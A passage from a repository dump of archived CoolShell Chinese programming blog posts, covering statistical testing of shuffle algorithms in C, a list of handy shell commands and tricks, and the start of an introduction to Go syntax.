[![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![【活动】解迷题送礼物](../wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg)](https://coolshell.cn/articles/11832.html)[【活动】解迷题送礼物](https://coolshell.cn/articles/11832.html)\n* [![二维码的生成细节和原理](../wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg)](https://coolshell.cn/articles/10590.html)[二维码的生成细节和原理](https://coolshell.cn/articles/10590.html)\nThe post [TF-IDF模型的概率解释](https://coolshell.cn/articles/8422.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-11-20 如何测试洗牌程序.md",
    "content": "---\nlayout: post\ntitle: 如何测试洗牌程序\ndate: 2012/11/20/ 0:22:7\nupdated: 2012/11/20/ 0:22:7\nstatus: publish\npublished: true\ntype: post\n---\n\n我希望本文有助于你了解测试软件是一件很重要也是一件不简单的事。\n\n\n我们有一个程序，叫ShuffleArray()，是用来洗牌的，我见过N多千变万化的ShuffleArray()，但是似乎从来没人去想过怎么去测试这个算法。所以，我在面试中我经常会问应聘者如何测试ShuffleArray()，没想到这个问题居然难倒了很多有多年编程经验的人。对于这类的问题，其实，测试程序可能比算法更难写，代码更多。而这个问题正好可以加强一下我在《[我们需要专职的QA吗？](https://coolshell.cn/articles/6994.html \"我们需要专职的QA吗？\")》中我所推崇的——开发人员更适合做测试的观点。\n\n\n我们先来看几个算法（**第一个用递归二分随机抽牌，第二个比较偷机取巧，第三个比较通俗易懂**）\n\n\n#### 递归二分随机抽牌\n\n\n有一次是有一个朋友做了一个网页版的扑克游戏，他用到的算法就是想模拟平时我们玩牌时用手洗牌的方式，是用递归+二分法，我说这个程序恐怕不对吧。他觉得挺对的，说测试了没有问题。他的程序大致如下（原来的是用Javascript写的，我在这里凭记忆用C复现一下）：\n\n\n\n```\n\n//递归二分方法\nconst size_t MAXLEN = 10;\nconst char TestArr[MAXLEN] = {'A','B','C','D','E','F','G','H','I','J'};\n\nstatic char RecurArr[MAXLEN]={0};\nstatic int cnt = 0;\nvoid ShuffleArray_Recursive_Tmp(char* arr, int len)\n{\n    if(cnt > MAXLEN || len <=0){\n        return;\n    }\n\n    int pos = rand() % len;\n    RecurArr[cnt++] = arr[pos];\n    if (len==1) return;\n    ShuffleArray_Recursive_Tmp(arr, pos);\n    ShuffleArray_Recursive_Tmp(arr+pos+1, len-pos-1);\n}\n\nvoid ShuffleArray_Recursive(char* arr, int len)\n{\n    memset(RecurArr, 0, sizeof(RecurArr));\n    cnt=0;\n    ShuffleArray_Recursive_Tmp(arr, len);\n    memcpy(arr, RecurArr, len);\n}\n\nvoid main()\n{\n    char temp[MAXLEN]={0};\n    for(int i=0; i<5; i++) {\n        strncpy(temp, TestArr, MAXLEN);\n        ShuffleArray_Recursive((char*)temp, MAXLEN);\n    }\n}\n\n```\n\n\n随便测试几次，还真像那么回事：\n\n\n\n```\n第一次：D C A B H E G F I J\n第二次：A G D B C E F J H I\n第三次：A B H F C E D G I J\n第四次：J I F B A D C E H G\n第五次：F B A D C E H G I J\n```\n\n#### 快排Hack法\n\n\n让我们再看一个hack 快排的洗牌程序（只看算法，省去别的代码）：\n\n\n\n```\n\nint compare( const void *a, const void *b )\n{\n    return rand()%3-1;\n}\n\nvoid ShuffleArray_Sort(char* arr, int len)\n{\n    qsort( (void *)arr, (size_t)len, sizeof(char), compare );\n}\n\n```\n\n运行个几次，感觉得还像那么回事：\n\n\n\n```\n第一次：H C D J F E A G B I\n第二次：B F J D C E I H G A\n第三次：C G D E J F B I A H\n第四次：H C B J D F G E I A\n第五次：D B C F E A I H G J\n```\n\n看不出有什么破绽。\n\n\n#### 大多数人的实现\n\n\n下面这个算法是大多数人的实现，就是for循环一次，然后随机交换两个数\n\n\n\n```\nvoid ShuffleArray_General(char* arr, int len)\n{\n    const int suff_time = len;\n    for(int idx=0; idx<suff_time; idx++) {\n        int i = rand() % len;\n        int j = rand() % len;\n        char temp = arr[i];\n        arr[i] = arr[j];\n        arr[j] = temp;\n    }\n}\n```\n\n跑起来也还不错，洗得挺好的。\n\n\n\n```\n第一次：G F C D A J B I H E\n第二次：D G J F E I A H C B\n第三次：C J E F A D G B H I\n第四次：H D C F A E B J I G\n第五次：E A J F B I H G D C\n```\n\n但是上述三个算法哪个的效果更好？好像都是对的。**一般的QA或是程序员很有可能就这样把这个功能Pass了**。但是事情并没有那么简单……\n\n\n#### 如何测试\n\n\n在做测试之前，我们还需要了解一下一个基本知识——**PC机上是做不出真随机数的，只能做出伪随机数。真随机数需要硬件支持**。但是不是这样我们就无法测试了呢，不是的。我们依然可以测试。\n\n\n我们知道，洗牌洗得好不好，主要是看是不是够随机。那么如何测试随机性呢？\n\n\n试想，我们有个随机函数rand()返回1到10中的一个数，如果够随机的话，每个数返回的概率都应该是一样的，也就是说每个数都应该有10分之1的概率会被返回。\n\n\n一到概率问题，我们只有一个方法来做测试，那就是用统计的方式。也就是说，你调用rand()函数100次，其中，每个数出现的次数大约都在10次左右。（注意：我用了左右，这说明概率并不是很准确的）不应该有一个数出现了15次以上，另一个在5次以下，要是这样的话，这个函数就是错的。\n\n\n举一反三，测试洗牌程序也一样，需要通过概率的方式来做统计，是不是每张牌出现在第一个位置的次数都是差不多的。\n\n\n于是，这样一来上面的程序就可以很容易做测试了。\n\n\n下面是测试结果（**测试样本1000次——列是每个位置出现的次数，行是各个字符的统计**，出现概率应该是1/10，也就是100次）：\n\n\n**递归随机抽牌的方法**\n\n\n很明显，这个洗牌程序太有问题。算法是错的！\n\n\n\n```\n     1    2    3    4    5    6    7    8    9    10\n----------------------------------------------------\nA | 101  283  317  208   65   23    3    0    0    0\nB | 101  191  273  239  127   54   12    2    1    0\nC | 103  167  141  204  229  115   32    7    2    0\nD | 103  103   87  128  242  195  112   26    3    1\nE | 104   83   62   67  116  222  228   93   22    3\nF |  91   58   34   60   69  141  234  241   65    7\nG |  93   43   35   19   44  102  174  274  185   31\nH |  94   28   27   27   46   68   94  173  310  133\nI | 119   27   11   30   28   49   64   96  262  314\nJ |  91   17   13   18   34   31   47   88  150  511\n```\n\n**快排Hack法**\n\n\n看看对角线（从左上到右下）上的数据，很离谱！所以，这个算法也是错的。\n\n\n\n```\n      1    2    3    4    5    6    7    8    9    10\n-----------------------------------------------------\nA |   74  108  123  102   93  198   40   37   52  173\nB |  261  170  114   70   49   28   37   76  116   79\nC |  112  164  168  117   71   37   62   96  116   57\nD |   93   91  119  221  103   66   91   98   78   40\nE |   62   60   82   90  290  112   95   98   71   40\nF |   46   60   63   76   81  318   56   42   70  188\nG |   72   57   68   77   83   39  400  105   55   44\nH |   99   79   70   73   87   34  124  317   78   39\nI |  127  112  102   90   81   24   57   83  248   76\nJ |   54   99   91   84   62  144   38   48  116  264\n```\n\n**大多数人的算法**\n\n\n我们再来看看大多数人的算法。还是对角线上的数据有问题，所以，还是错的。\n\n\n\n```\n      1    2    3    4    5    6    7    8    9    10\n-----------------------------------------------------\nA |  178   98   92   82  101   85   79  105   87   93\nB |   88  205   90   94   77   84   93   86  106   77\nC |   93   99  185   96   83   87   98   88   82   89\nD |  105   85   89  190   92   94  105   73   80   87\nE |   97   74   85   88  204   91   80   90  100   91\nF |   85   84   90   91   96  178   90   91  105   90\nG |   81   84   84  104  102  105  197   75   79   89\nH |   84   99  107   86   82   78   92  205   79   88\nI |  102   72   88   94   87  103   94   92  187   81\nJ |   87  100   90   75   76   95   72   95   95  215\n```\n\n#### 正确的算法\n\n\n下面，我们来看看性能高且正确的算法—— [Fisher\\_Yates算法](http://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle)\n\n\n\n```\nvoid ShuffleArray_Fisher_Yates(char* arr, int len)\n{\n    int i = len, j;\n    char temp;\n\n    if ( i == 0 ) return;\n    while ( --i ) {\n        j = rand() % (i+1);\n        temp = arr[i];\n        arr[i] = arr[j];\n        arr[j] = temp;\n    }\n}\n```\n\n这个算法不难理解，看看测试效果（效果明显比前面的要好）：\n\n\n\n```\n      1    2    3    4    5    6    7    8    9    10\n-----------------------------------------------------\nA |  107   98   83  115   89  103  105   99   94  107\nB |   91  106   90  102   88  100  102   97  112  112\nC |  100  107   99  108  101   99   86   99  101  100\nD |   96   85  108  101  117  103  102   96  108   84\nE |  106   89  102   86   88  107  114  109  100   99\nF |  109   96   87   94   98  102  109  101   92  102\nG |   94   95  119  110   97  112   89  101   89   94\nH |   93  102  102  103  100   89  107  105  101   98\nI |   99  110  111  101  102   79  103   89  104  102\nJ |  105  112   99   99  108  106   95   95   99   82\n```\n\n但是我们可以看到还是不完美。因为我们使用的rand()是伪随机数，不过已经很不错的。最大的误差在20%左右。\n\n\n我们再来看看洗牌100万次的统计值，你会看到误差在6%以内了。这个对于伪随机数生成的程序已经很不错了。\n\n\n\n```\n      1       2     3       4      5      6      7      8     9      10\n-------------------------------------------------------------------------\nA | 100095  99939 100451  99647  99321 100189 100284  99565 100525  99984\nB |  99659 100394  99699 100436  99989 100401  99502 100125 100082  99713\nC |  99938  99978 100384 100413 100045  99866  99945 100025  99388 100018\nD |  99972  99954  99751 100112 100503  99461  99932  99881 100223 100211\nE | 100041 100086  99966  99441 100401  99958  99997 100159  99884 100067\nF | 100491 100294 100164 100321  99902  99819  99449 100130  99623  99807\nG |  99822  99636  99924 100172  99738 100567 100427  99871 100125  99718\nH |  99445 100328  99720  99922 100075  99804 100127  99851 100526 100202\nI | 100269 100001  99542  99835 100070  99894 100229 100181  99718 100261\nJ | 100268  99390 100399  99701  99956 100041 100108 100212  99906 100019\n```\n\n#### 如何写测试案例\n\n\n测试程序其实很容易写了。就是，设置一个样本大小，做一下统计，然后计算一下误差值是否在可以容忍的范围内。比如：\n\n\n* 样本：100万次\n* 最大误差：10%以内\n* 平均误差：5%以内 （或者：90%以上的误差要小于5%）\n\n\n#### 注意\n\n\n其实，以上的测试只是测试了牌在各个位置的概率。这个还不足够好。因为还可能会现在有Patten的情况。如：每次洗牌出来的都是一个循环顺序数组。这完全可以满足我上面的测试条件。但是那明显是错的。**所以，还需要统计每种排列的出现的次数**，看看是不是均匀。但是，**如果这些排列又是以某种规律出现的呢**？看来，这没完没了了。\n\n\n测试的确是一个很重要，并不简单的事情。谢谢所有参与讨论的人。\n\n\n#### 附录\n\n\n之前忘贴了一个模拟我们玩牌洗牌的算法，现补充如下：\n\n\n\n```\nvoid ShuffleArray_Manual(char* arr, int len)\n{\n    int mid = len / 2;\n\n    for (int n=0; n<5; n++){\n\n        //两手洗牌\n        for (int i=1; i<mid; i+=2){\n            char tmp = arr[i];\n            arr[i] = arr[mid+i];\n            arr[mid+i] = tmp;\n        }\n\n        //随机切牌\n        char *buf = (char*)malloc(sizeof(char)*len);\n\n        for(int j=0; j<5; j++) {\n            int start= rand() % (len-1) + 1;\n            int numCards= rand()% (len/2) + 1;\n\n            if (start + numCards > len ){\n                numCards = len - start;\n            }\n\n            memset(buf, 0, len);\n            strncpy(buf, arr, start);\n            strncpy(arr, arr+start, numCards);\n            strncpy(arr+numCards, buf, start);\n        }\n        free(buf);\n\n    }\n}\n```\n\n我们来看看测试结果：（10万次）效果更好一些，误差在2%以内了。\n\n\n\n```\n      1       2     3       4      5      6      7      8     9      10\n-------------------------------------------------------------------------\nA |  10002   9998   9924  10006  10048  10200   9939   9812  10080   9991\nB |   9939   9962  10118  10007   9974  10037  10149  10052   9761  10001\nC |  10054  10100  10050   9961   9856   9996   9853  10016   9928  10186\nD |   9851   9939   9852  10076  10208  10003   9974  10052   9992  10053\nE |  10009   9915  10050  10037   9923  10094  10078  10059   9880   9955\nF |  10151  10115  10113   9919   9844   9896   9891   9904  10225   9942\nG |  10001  10116  10097  10030  10061   9993   9891   9922   9889  10000\nH |  10075  10033   9866   9857  10170   9854  10062  10078  10056   9949\nI |  10045   9864   9879  10066   9930   9919  10085  10104  10095  10013\nJ |   9873   9958  10051  10041   9986  10008  10078  10001  10094   9910\n```\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![性能测试应该怎么做？](../wp-content/uploads/2016/07/PerfTest-150x150.png)](https://coolshell.cn/articles/17381.html)[性能测试应该怎么做？](https://coolshell.cn/articles/17381.html)\n* [![Cuckoo Filter：设计与实现](../wp-content/uploads/2015/08/cuckoo-150x150.jpg)](https://coolshell.cn/articles/17225.html)[Cuckoo Filter：设计与实现](https://coolshell.cn/articles/17225.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![【活动】解迷题送礼物](../wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg)](https://coolshell.cn/articles/11832.html)[【活动】解迷题送礼物](https://coolshell.cn/articles/11832.html)\n* [![二维码的生成细节和原理](../wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg)](https://coolshell.cn/articles/10590.html)[二维码的生成细节和原理](https://coolshell.cn/articles/10590.html)\nThe post [如何测试洗牌程序](https://coolshell.cn/articles/8593.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-11-23 你可能不知道的Shell.md",
    "content": "---\nlayout: post\ntitle: 你可能不知道的Shell\ndate: 2012/11/23/ 0:19:24\nupdated: 2012/11/23/ 0:19:24\nstatus: publish\npublished: true\ntype: post\n---\n\nShell也叫做命令行界面，它是\\*nix操作系统下用户和计算机的交互界面。Shell这个词是指操作系统中提供访问内核服务的程序。\n\n\n这篇文章向大家介绍Shell一些非广为人知、但却实用有趣的知识，权当品尝shell主食后的甜点吧。\n\n\n#### 科普\n\n\n先科普几个你可能不知道的事实：\n\n\n* Shell几乎是和Unix操作系统一起诞生，第一个Unix Shell是肯·汤普逊（Ken Thompson）以Multics上的Shell为模范在1971年改写而成，并命名Thompson sh。即便是后来流行的bash（shell的一种变体），它的年龄实际上比当前流行的所有的Linux kernel都大，可谓在Linux系统上是先有Shell再有Kernel。\n\n\n* 当前绝大部分\\*nix和MacOS操作系统里的默认的Shell都是bash，bash由Brian Fox在1987年创造，全称Bourne Again shell ( bash)。\n\n\n* 你或许听说除了bash之外，还有Bourne shell ( sh)，Korn shell ( ksh)，C shell （包括 csh and tcsh），但是你知道这个星球上一共存在着大约50多种不同的shell么？想了解他们，请参考 <http://www.freebsd.org/ports/shells.html>。\n\n\n* 每个月[tiobe](http://www.tiobe.com/index.php/content/paperinfo/tpci/index.html)上都会给一个编程语言的排名，来显示各种语言的流行度。排名指数综合了全球范围内使用该语言的工程师人数、教学的课程数和第三方供应商数。截止至2012年11月份，tiobe公布的编程语言排行榜里，bash的指数是0.56%排名22位。如果算上它旗下的awk 0.21%和tcl 0.146%，大概就能排到14名。注意这里还不包括bash的同源的兄弟姐妹csh、ksh等，算上它们，shell家族有望接近前十。值得一提的是一直以来shell的排名就很稳定，不像某些“暴发户”语言，比如objective-c，这些语言的流行完全是因为当前Apple系的崛起，但这种热潮极有可能来得快去得更快。\n\n\n\n![](../wp-content/uploads/2012/11/shell.01.png)\n\n\n![](../wp-content/uploads/2012/11/shell.02.png)\n\n\n \n\n\n全球最大的源代码仓库Github里，shell相关的项目数占到了8%，跻身前5和Java相当，可见在实战工程里，shell可谓宝刀不老。图片来源，[参见这里](https://github.com/languages)\n\n\n![](../wp-content/uploads/2012/11/shell.03.png)\n\n\n#### 一些强大的命令\n\n\n再分享一些可能你不知道的shell用法和脚本，简单&强大！\n\n\n*在阅读以下部分前，强烈建议读者打开一个shell实验，这些都不是shell教科书里的大路货哦：）*\n\n\n* **`!$`**  \n\n`!$`是一个特殊的环境变量，它代表了上一个命令的最后一个字符串。如：你可能会这样：\n\n```\n$mkdir mydir\n$mv mydir yourdir\n$cd yourdir\n```\n\n可以改成：\n\n\n\n```\n$mkdir mydir\n$mv !$ yourdir\n$cd !$\n```\n\n\n* **`sudo !!`**  \n\n以root的身份执行上一条命令 。  \n\n场景举例：比如Ubuntu里用`apt-get`安装软件包的时候是需要root身份的，我们经常会忘记在`apt-get`前加`sudo`。每次不得不加上`sudo`再重新键入这行命令，这时可以很方便的用`sudo !!`完事。  \n\n（陈皓注：在shell下，有时候你会输入很长的命令，你可以使用!xxx来重复最近的一次命令，比如，你以前输入过，vi /where/the/file/is, 下次你可以使用 !vi 重得上次最近一次的vi命令。）\n\n\n* **`cd –`**  \n\n回到上一次的目录 。  \n\n场景举例：当前目录为`/home/a`，用`cd ../b`切换到`/home/b`。这时可以通过反复执行`cd –`命令在`/home/a`和`/home/b`之间来回方便的切换。  \n\n（陈皓注：cd ~ 是回到自己的Home目录，cd ~user，是进入某个用户的Home目录）\n\n\n* **`'ALT+.' or '<ESC> .'`**  \n\n热建alt+. 或 esc+. 可以把上次命令行的参数给重复出来。\n\n\n* **`^old^new`**  \n\n替换前一条命令里的部分字符串。  \n\n场景：`echo \"wanderful\"`，其实是想输出`echo \"wonderful\"`。只需要`^a^o`就行了，对很长的命令的错误拼写有很大的帮助。（陈皓注：也可以使用 **!!:gs/old/new**）\n\n\n* **`du -s * | sort -n | tail`**  \n\n列出当前目录里最大的10个文件。\n\n\n* **`:w !sudo tee %`**  \n\n在vi中保存一个只有root可以写的文件\n\n\n* **`date -d@1234567890`**  \n\n时间截转时间\n\n\n* **`> file.txt`**  \n\n创建一个空文件，比touch短。\n\n\n* **`mtr coolshell.cn`**  \n\nmtr命令比traceroute要好。\n\n\n* 在命令行前加空格，该命令不会进入history里。\n\n\n* **`echo \"ls -l\" | at midnight`**  \n\n在某个时间运行某个命令。\n\n\n* **`curl -u user:pass -d status=\"Tweeting from the shell\" http://twitter.com/statuses/update.xml`**  \n\n命令行的方式更新twitter。\n\n\n* **`curl -u username --silent \"https://mail.google.com/mail/feed/atom\" | perl -ne 'print \"\\t\" if /<name>/; print \"$2\\n\" if /<(title|name)>(.*)<\\/\\1>/;'`**  \n\n检查你的gmail未读邮件\n\n\n* **`ps aux | sort -nk +4 | tail`**  \n\n列出头十个最耗内存的进程\n\n\n* **`man ascii`**  \n\n显示ascii码表。  \n\n场景：忘记ascii码表的时候还需要google么?尤其在天朝网络如此“顺畅”的情况下，就更麻烦在GWF多应用一次规则了，直接用本地的`man ascii`吧。\n\n\n* **`ctrl-x e`**  \n\n快速启动你的默认编辑器（由变量$EDITOR设置）。\n\n\n* **`netstat –tlnp`**  \n\n列出本机进程监听的端口号。（陈皓注：netstat -anop 可以显示侦听在这个端口号的进程）\n\n\n* **`tail -f /path/to/file.log | sed '/^Finished: SUCCESS$/ q'`**  \n\n当file.log里出现Finished: SUCCESS时候就退出tail，这个命令用于实时监控并过滤log是否出现了某条记录。\n\n\n* **`ssh user@server bash < /path/to/local/script.sh`**  \n\n在远程机器上运行一段脚本。这条命令最大的好处就是不用把脚本拷到远程机器上。\n\n\n* **`ssh user@host cat /path/to/remotefile | diff /path/to/localfile -`**  \n\n比较一个远程文件和一个本地文件\n\n\n* **`net rpc shutdown -I ipAddressOfWindowsPC -U username%password`**  \n\n远程关闭一台Windows的机器\n\n\n* **`screen -d -m -S some_name ping my_router`**  \n\n后台运行一段不终止的程序，并可以随时查看它的状态。`-d -m`参数启动“分离”模式，`-S`指定了一个session的标识。可以通过`-R`命令来重新“挂载”一个标识的session。更多细节请参考screen用法 `man screen`。\n\n\n* **`wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com`**  \n\n下载整个www.example.com网站。（注：别太过分，大部分网站都有防爬功能了：））\n\n\n* **`curl ifconfig.me`**  \n\n当你的机器在内网的时候，可以通过这个命令查看外网的IP。\n\n\n* **`convert input.png -gravity NorthWest -background transparent -extent 720x200  output.png`**  \n\n改一下图片的大小尺寸\n\n\n* **`lsof –i`**  \n\n实时查看本机网络服务的活动状态。\n\n\n* **`vim scp://username@host//path/to/somefile`**  \n\nvim一个远程文件\n\n\n* **`python -m SimpleHTTPServer`**  \n\n一句话实现一个HTTP服务，把当前目录设为HTTP服务目录，可以通过`http://localhost:8000`访问 这也许是这个星球上最简单的HTTP服务器的实现了。\n\n\n* **`history | awk '{CMD[$2]++;count++;} END { for (a in CMD )print CMD[a] \" \" CMD[a]/count*100 \"% \" a }' | grep -v \"./\" | column -c3 -s \" \" -t | sort -nr | nl | head -n10`**  \n\n(陈皓注：有点复杂了，history|awk ‘{print $2}’|awk ‘BEGIN {FS=”|”} {print $1}’|sort|uniq -c|sort -rn|head -10)  \n\n这行脚本能输出你最常用的十条命令，由此甚至可以洞察你是一个什么类型的程序员。\n\n\n* **`tr -c \"[:digit:]\" \" \" < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR=\"1;32\" grep --color \"[^ ]\"`**  \n\n想看看Marix的屏幕效果吗？（不是很像，但也很Cool!）\n\n\n看不懂行代码？没关系，系统的学习一下\\*nix shell脚本吧，力荐[《Linux命令行与Shell脚本编程大全》](http://www.ituring.com.cn/book/980)。\n\n\n#### 参考文献：\n\n\n* [Unix Shell Wiki](http://en.wikipedia.org/wiki/Unix_shell#Shell_categories)\n* [Github language ranking](https://github.com)\n* [An introduction of Unix Shell history](http://www.softpanorama.org/People/Shell_giants/introduction.shtml)\n* [Tiobe Software](http://www.tiobe.com/index.php/content/paperinfo/tpci/index.html)\n* <http://www.commandlinefu.com/>\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\n* [![AWK 简明教程](../wp-content/uploads/2013/02/awk-150x150.jpg)](https://coolshell.cn/articles/9070.html)[AWK 简明教程](https://coolshell.cn/articles/9070.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![vfork 挂掉的一个问题](../wp-content/uploads/2014/11/tux-fork-150x150.gif)](https://coolshell.cn/articles/12103.html)[vfork 挂掉的一个问题](https://coolshell.cn/articles/12103.html)\nThe post [你可能不知道的Shell](https://coolshell.cn/articles/8619.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-11-6 Go 语言简介（上）— 语法.md",
    "content": "---\nlayout: post\ntitle: Go 语言简介（上）— 语法\ndate: 2012/11/6/ 0:27:48\nupdated: 2012/11/6/ 0:27:48\nstatus: publish\npublished: true\ntype: post\n---\n\n周末天气不好，只能宅在家里，于是就顺便看了一下Go语言，觉得比较有意思，所以写篇文章介绍一下。**我想写一篇你可以在乘坐地铁或公交车上下班时就可以初步了解一门语言的文章**。所以，下面的文章主要是以代码和注释为主。只需要你对C语言，Unix，Python有一点基础，我相信你会在30分钟左右读完并对Go语言有一些初步了解的。\n\n\n![](../wp-content/uploads/2012/11/go2.jpg \"go\")\n\n\n#### Hello World\n\n\n\n```\n\n//文件名：hello.go\npackage main //声明本文件的package名\n\nimport \"fmt\" //import语言的fmt库——用于输出\n\nfunc main() {\n    fmt.Println(\"hello world\")\n}\n```\n\n\n#### 运行\n\n\n你可以有两种运行方式，\n\n\n\n```\n\n#解释执行（实际是编译成a.out再执行）\n$go run hello.go\nhello world\n\n#编译执行\n$go build hello.go\n\n$ls\nhello hello.go\n\n$./hello\nhello world\n```\n\n#### 自己的package\n\n\n你可以使用GOPATH环境变量，或是使用相对路径来import你自己的package。\n\n\nGo的规约是这样的：\n\n\n1）**在import中，你可以使用相对路径，如 ./或 ../ 来引用你的package**\n\n\n2）**如果没有使用相对路径，那么，go会去找$GOPATH/src/目录。**\n\n\n\n```\n\n//使用相对路径\nimport \"./haoel\"  //import当前目录里haoel子目录里的所有的go文件\n\n```\n\n\n```\n\n//使用GOPATH路径\nimport \"haoel\"  //import 环境变量 $GOPATH/src/haoel子目录里的所有的go文件\n\n```\n\n#### fmt输出格式\n\n\nfmt包和libc里的那堆使用printf， scanf，fprintf，fscanf 很相似。下面的东西对于C程序员不会陌生。\n\n\n注意：Println不支持，Printf才支持%式的输出：\n\n\n\n```\n\npackage main\n\nimport \"fmt\"\nimport \"math\"\n\nfunc main() {\n    fmt.Println(\"hello world\")\n\n    fmt.Printf(\"%t\\n\", 1==2)\n    fmt.Printf(\"二进制：%b\\n\", 255)\n    fmt.Printf(\"八进制：%o\\n\", 255)\n    fmt.Printf(\"十六进制：%X\\n\", 255)\n    fmt.Printf(\"十进制：%d\\n\", 255)\n    fmt.Printf(\"浮点数：%f\\n\", math.Pi)\n    fmt.Printf(\"字符串：%s\\n\", \"hello world\")\n}\n```\n\n当然，也可以使用如\\n\\t\\r这样的和C语言一样的控制字符\n\n\n#### 变量和常量\n\n\n变量的声明很像 javascript，使用 var关键字。注意：**go是静态类型的语言**，下面是代码：\n\n\n\n```\n\n//声明初始化一个变量\nvar  x int = 100\nvar str string = \"hello world\"</pre>\n//声明初始化多个变量\nvar  i, j, k int = 1, 2, 3\n\n//不用指明类型，通过初始化值来推导\nvar b = true //bool型\n\n```\n\n还有一种定义变量的方式（这让我想到了Pascal语言，但完全不一样）\n\n\n\n```\n\nx := 100 //等价于 var x int = 100;\n\n```\n\n常量很简单，使用const关键字：\n\n\n\n```\n\nconst s string = \"hello world\"\nconst pi float32 = 3.1415926\n\n```\n\n#### 数组\n\n\n直接看代码（注意其中的for语句，和C很相似吧，就是没有括号了）\n\n\n\n```\n\nfunc main() {\n    var a [5]int\n    fmt.Println(\"array a:\", a)\n\n    a[1] = 10\n    a[3] = 30\n    fmt.Println(\"assign:\", a)\n\n    fmt.Println(\"len:\", len(a))\n\n    b := [5]int{1, 2, 3, 4, 5}\n    fmt.Println(\"init:\", b)\n\n    var c [2][3]int\n    for i := 0; i < 2; i++ {\n        for j := 0; j < 3; j++ {\n            c[i][j] = i + j\n        }\n    }\n    fmt.Println(\"2d: \", c)\n}\n\n```\n\n运行结果：\n\n\n\n```\n\n\narray a: [0 0 0 0 0]\nassign: [0 10 0 30 0]\nlen: 5\ninit: [1 2 3 4 5]\n2d:  [[0 1 2] [1 2 3]]\n\n\n```\n\n#### 数组的切片操作\n\n\n这个很Python了。\n\n\n\n```\n\n\na := [5]int{1, 2, 3, 4, 5}\n\nb := a[2:4] // a[2] 和 a[3]，但不包括a[4]\nfmt.Println(b)\n\nb = a[:4] // 从 a[0]到a[4]，但不包括a[4]\nfmt.Println(b)\n\nb = a[2:] // 从 a[2]到a[4]，且包括a[2]\nfmt.Println(b)\n\n\n```\n\n**但是，我们要记住，Golang的切片是共享内存的，也就是说，没有数据的复制，只是记录从哪切到哪的信息。**\n\n\n#### 分支循环语句\n\n\n**if语句**\n\n\n注意：if 语句没有圆括号，而必需要有花括号\n\n\n\n```\n\n//if 语句\nif x % 2 == 0 {\n    //...\n}\n//if - else\nif x % 2 == 0 {\n    //偶数...\n} else {\n    //奇数...\n}\n\n//多分支\nif num < 0 {\n    //负数\n} else if num == 0 {\n    //零\n} else {\n    //正数\n}\n\n```\n\n**switch 语句**\n\n\n注意：switch语句没有break，还可以使用逗号case多个值\n\n\n\n```\n\nswitch i {\n    case 1:\n        fmt.Println(\"one\")\n    case 2:\n        fmt.Println(\"two\")\n    case 3:\n        fmt.Println(\"three\")\n    case 4,5,6:\n        fmt.Println(\"four, five, six\")\n    default:\n        fmt.Println(\"invalid value!\")\n}\n\n```\n\n**for 语句**\n\n\n前面你已见过了，下面再来看看for的三种形式：（注意：Go语言中没有while）\n\n\n\n```\n\n//经典的for语句 init; condition; post\nfor i := 0; i<10; i++{\n     fmt.Println(i)\n}\n\n//精简的for语句 condition\ni := 1\nfor i<10 {\n    fmt.Println(i)\n    i++\n}\n\n//死循环的for语句 相当于for(;;)\ni :=1\nfor {\n    if i>10 {\n        break\n    }\n    i++\n}\n\n```\n\n#### 关于分号\n\n\n从上面的代码我们可以看到代码里没有分号。其实，**和C一样，Go的正式的语法使用分号来终止语句。和C不同的是，这些分号由词法分析器在扫描源代码过程中使用简单的规则自动插入分号，因此输入源代码多数时候就不需要分号了**。\n\n\n规则是这样的：如果在一个新行前方的最后一个标记是一个标识符（包括像`int`和`float64`这样的单词）、一个基本的如数值这样的文字、或以下标记中的一个时，会自动插入分号：\n\n\n\n```\nbreak continue fallthrough return ++ -- ) 